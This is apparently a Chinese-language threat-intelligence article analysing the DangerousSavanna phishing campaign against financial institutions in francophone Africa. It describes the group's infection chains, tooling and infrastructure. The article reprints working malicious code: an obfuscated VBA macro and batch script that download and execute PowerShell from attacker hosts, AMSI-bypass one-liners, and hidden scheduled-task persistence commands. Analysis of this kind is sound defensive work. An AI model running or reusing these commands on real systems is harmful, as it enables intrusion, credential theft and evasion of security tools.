发布于2022年11月4日3年前 DangerousSavanna 针对非洲法语区金融机构的攻击行动 最近,研究人员发现中非和西非超过 85% 的金融机构多次遭受破坏性网络攻击。其中四分之一的入侵攻击,导致了信息泄露、身份盗窃、汇款欺诈等情况发生。经过分析,发起攻击的 DangerousSavanna 在过去两年中一直针对非洲法语区主要金融机构进行入侵。攻击者向至少五个不同法语国家(科特迪瓦、摩洛哥、喀麦隆、塞内加尔和多哥)的金融机构员工发送带有恶意附件的电子邮件,研究人员认为 DangerousSavanna 是受利益驱动的黑产组织。非洲法语国家遭受攻击DangerousSavanna 使用的攻击工具都是基于 Metasploit、PoshC2、DWservice 和 AsyncRAT 等开源项目再次定制开发的。攻击者不断改变利用各种恶意文件类型的感染链,通过各种复杂和多样的媒介进行攻击。感染链攻击从法语编写的鱼叉邮件开始,通过 Gmail 和 Hotmail 等公开服务发送给员工。后续攻击者开始使用相似的域名仿冒非洲其他金融机构,如突尼斯外国银行、Nedbank 等。钓鱼邮件感染链也在不断变化,最开始使用伪装成 PDF 文件的可执行文件,后续扩展为使用各种文件类型。在微软默认禁止宏代码执行后,攻击者迅速转向了其他文件类型用于攻击。感染链演化恶意样本2021 年以来,攻击者使用的恶意文档要么是带有宏的 Word 文档,要么是带有远程模板的文档,又或者是诱使受害者下载并执行的 PDF 文档。所有的文档都是法文的内容,并且元数据相似,例如用户名为 digger、hooper、davis 和 HooperDEV。诱饵文档概览常见的感染流程是使用带有宏的 Word 文档,在 Startup 文件夹中释放一个 LNK 文件。执行 LNK 文件后,会从服务器下载并执行 PowerShell 命令,这些命令会绕过 AMSI 并最终安装 PoshC2。感染流程宏代码中掺杂了许多未使用的代码,对抗检测与分析。功能本身实际上非常简单,就是下载执行:Private Function guttural(ludicrous As String)guttural = StrReverse(ludicrous)End FunctionSub automatic()Set tearful = grandiose(guttural("llehS.tpircSW"))Dim greasycowardly = tearful.SpecialFolders(guttural("putratS")) & guttural("knl.ogol/")Set great = tearful.CreateShortcut(cowardly)great.IconLocation = guttural("oci.serutcip\}9c2278fc2f8d-dda8-9bf4-e6cf-658bed70{\ksaT\egatS eciveD\tfosorciM\ataDmargorP\:C")great.WindowStyle = 7great.TargetPath = guttural("ex" & "e.dmc")great.Arguments = guttural(")^)'""d""d/t^t/m""o""c.ez""i""ig.s""s""erp//:p""t""th'(gn""i""rtSdao^lnw""o""d.)tnei^lcb""e""w.t^en tcej^bo-""w""en((x""e""i c^- i^n^on- ss^a^py^B c^e^xE- ne^ddi^h dn^i^w- po^n- e^xe.l^lehs^re^w^op c/, ex^e.d^mc")great.WorkingDirectory = "C:"great.HotKey = Chr(69 - 4)great.Description = "OpenDrive"great.SaveEnd Sub攻击者会使用 PDF 文件引诱受害者下载并执行,后续执行相似功能的 VBE 或 JAR 文件,直接加载 PoshC2 或者释放 LNK 文件加载 PoshC2。PoshC2攻击者依靠 PoshC2 实现对失陷主机的控制,执行的 PowerShell 代码中包含两种非常相似的 AMSI 绕过技术:$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") { $c = $b }};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") { $f = $e }};$f.SetValue($null,$true)[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)负责与 C&C 服务器进行通信的后门会在一个循环中向服务器发送请求,其中包含表明受害者信息的 SessionID。SessionID 格式为 $env:userdomain;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;$procname;1,传送时会使用 base64 编码与 AES 进行加密。AsyncRAT2021 年 10 月的攻击行动中,恶意文档访问了 paste.c-net.org 却下载了一个在内存中加载 AsyncRAT 的 PowerShell 脚本。AsyncRAT 完全没有经过任何混淆,甚至还保留着原生的服务器证书(AsyncRAT Server),攻击者完全没有对开源工具进行任何修改。代码对比旧版本文档最早的恶意文档是在 2021 年上半年发现的,宏代码明显经过高度混淆,而且还具有超过 1MB 的垃圾代码。旧版本文档可视化其中一个名为 Nouvelles_Dispositions_Sanitaires.doc 的文档使用宏代码从 4sync.com 云存储中下载 PowerShell 脚本。InQuest在 2021 年 5 月介绍了一个非常相似的恶意文档,使用 4sync 安装了一个名为 Billang 的自定义后门。攻击者加载的 .NET 可执行文件具有 C:\Users\wallstreet\source\repos\Billang\Billang\obj\Release\Billang.pdb的 PDB 路径。该文件会收集失陷主机相关信息并回传。值得一提的是,Shellcode 仅在检测到鼠标点击后才会启动,这可能是作为反沙盒技术的一部分。进程注入分析人员扩展发现了攻击者使用的更多样本,大体上类似,区别只在于混淆方法:有些使用 SmartAssembly 加壳、有些只是对变量名进行了混淆。所有使用的 Shellcode 都是 Meterpreter,这些样本中包含调试信息的都提供了 PDB 路径为 C:\Users\wallstreet\。Dropper最早期的攻击行动中,攻击者不依靠文档而是自己编写的 Dropper。这些 Dropper 通常以 PDF 图标伪装成文档,有时也带有双重扩展名欺骗。简化感染链2021 年末,一些攻击行动中开始使用 C# 可执行文件来达成目标,启动 PowerShell 从服务器拉取下一个阶段的 Payload。此时,攻击者已经将 Metasploit 切换为 PoshC2,其 PDB 路径 C:\Users\wallstreet\source\repos\PDF Document\PDF Document\obj\Release\PDF Document.pdb显示其开发用户都是 wallstreet。入侵后活动当 PowerShell 后门连接到 C&C 服务器时,攻击者自动下发 AMSI 绕过命令与 PoshC2。接下来,攻击者尝试持久化并进行侦察,同时还运行一些命令来尝试逃避检测。逃避检测为了逃避检测,攻击者会首先运行两个额外的 AMSI 绕过命令。紧接着使用 PoshC2 Inject-Shellcode 模块将 Shellcode 注入 Windows 内置二进制文件 RuntimeBroker.exe 与 iexpress.exe 中。注入的代码为 Sharpv4 Shellcode,其中包含一个带有 Patch AmsiScanBuffer 和 EtwEventWrite 功能的 DLL 文件:ShellCode 代码Shellcode 注入 RuntimeBroker.exe 的事件日志随后,样本会加载 base64 编码的 PoshC2 PowerShell 植入的 base64 编码的 .NET 可执行文件,最终以更隐蔽的方式重新建立后门,作为已知的 Microsoft 进程潜伏运行。持久化为了实现持久化,攻击者使用了批处理脚本 WinComp.bat,如下所示。@echo offSETLOCAL EnableExtensionsset EXE=iexpress.exeFOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %EXE%"') DO IF %%x == %EXE% goto ProcessFoundgoto ProcessNotFound:ProcessFoundExitgoto END:ProcessNotFoundcmd cm^d.e^xe ,/c po^w^er^shel^l.ex^e -n^op -w^i^nd h^idd^en -Ex^e^c B^yp^a^ss -no^n^i -^c i"e"x((ne"w"-ob^ject ne^t.w"e"bcl^ient).d"o"wnl^oadStr"i"ng('ht""t""p://ned""b""ankplc.""4""nmn.c^om/t^t/l""l""')^)goto END:END另外,攻击者还使用另一个脚本文件 slmgr.vbs 来执行 WinComp.bat。攻击者还创建名为 slmgr.vbs 的计划任务(五分钟运行一次)与名为 WinComp.bat 的计划任务(六分钟运行一次)。最后,攻击者会将脚本文件加以隐藏。schtasks /create /f /sc once /st 00:00 /du 9999:59 /ri 5 /tn WinSys /tr "C:\Users\Public\slmgr.vbs"schtasks /create /f /sc once /st 00:00 /du 9999:59 /ri 360 /tn WinSys /tr "C:\Users\Public\WinComp.bat"schtasks /create /f /sc once /st 00:00 /du 9999:59 /ri 360 /tn WinComp /tr "C:\Users\Public\WinComp.bat"attrib +h WinComp.batattrib +h slmgr.vbs侦察攻击者通过多个命令来收集环境的相关信息。例如通过 Get-Screenshot 获取屏幕截图、通过 Get-Ipconfig 获取网络信息、通过 Get-ComputerInfo 获取硬件信息、通过 Invoke-Arpscan 获取 ARP 信息。攻击者还会尝试 Dump 进程 svchost.exe,从中提取 RDP 凭据。其他工具攻击者在站稳脚跟后,会使用名为 DWService 的合法远程访问工具。这不仅为攻击者提供了更高的自由度,还降低了被发现的概率。攻击者还会在失陷主机上安装 Windows Subsystem for Linux (WSL),并在其中安装名为 CrackMapExe的开源渗透测试工具进行 SMB 扫描。攻击者还使用了名为 BackstabTITAN.exe的开源反 EDR 工具,根据编译留下的 PDB 路径(C:\Users\wallstreet\Downloads\Programs\Backstab-master\x64\Debug\Backstab.pdb)可以发现其他样本。与前述样本一样,这些样本的 PDB 路径都指向名为 wallstreet 的开发者。受害者DangerousSavanna 针对多个在非洲开展业务的中型或大型金融机构展开攻击。这些金融机构旗下不仅包括银行,还有保险公司、小额信贷公司、金融控股公司、财务管理公司、财务咨询服务公司等。尽管攻击的水平不高,但攻击者会不断尝试、一次又一次地对同一家公司展开攻击。攻击基础设施攻击基础设施变化概览上图显示了攻击基础设施的演化情况。早期,攻击者依赖第三方文件共享服务,例如 FileSend.jp 或 4sync.com。2021 年年中,大量攻击只与类似 Pastebin 的服务 paste.c-net.org 相关。2021 年 10 月,paste.c-net.org 的运营团队对服务上的恶意内容进行了一次大清理。随后,攻击者启用了多种类型的中间服务器,包括使用 bit.ly 和 iplogger.org 重定向本地金融相关机构的相似域名(nedbank.za[.]com 伪装成 NED 银行、paste.inexa-group[.]com 伪装成金融科技解决方案提供商 Inexa),或者依赖 Dynu 等短期免费 DDNS 服务。结论本文分析了针对西非和北非金融机构的恶意攻击活动。攻击者对开源工具和渗透测试工具非常了解,经常改变攻击工具和方法。攻击并没有放缓的迹象,仍然在尝试获取更多利益。
创建帐户或登录后发表意见